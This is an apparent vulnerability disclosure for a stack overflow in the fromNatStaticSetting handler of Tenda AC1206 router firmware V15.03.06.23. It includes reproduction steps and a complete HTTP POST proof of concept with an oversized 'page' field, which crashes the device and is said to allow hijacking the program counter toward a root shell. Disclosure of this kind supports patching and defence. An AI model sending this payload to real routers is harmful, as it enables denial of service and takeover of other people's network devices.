- Manufacturer's website information：https://www.tenda.com.cn
- Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html
Tenda AC1206 V15.03.06.23, the latest version of simulation overview：
The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromNatStaticSetting function. An attacker can obtain a stable root shell through a carefully constructed payload.
In the fromNatStaticSetting function,the page we entered (the value of page) is formatted with the sprintf function, spliced with %s strings, and saved to gotopage. It is not secure, as long as the size of the data we enter is larger than the size of gotopage, it will cause a stack overflow.
In order to reproduce the vulnerability, the following steps can be followed:
- Boot the firmware by qemu-system or other ways (real machine)
- Attack with the following POC attacks
POST /goform/NatStaticSetting HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 336
Origin: http://192.168.0.1
DNT: 1
Connection: close
Referer: http://192.168.0.1/index.html
Cookie: ecos_pw=eee:language=cn
page=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .
As shown in the figure above, we can hijack PC registers.
Finally, you also can write exp to get a stable root shell.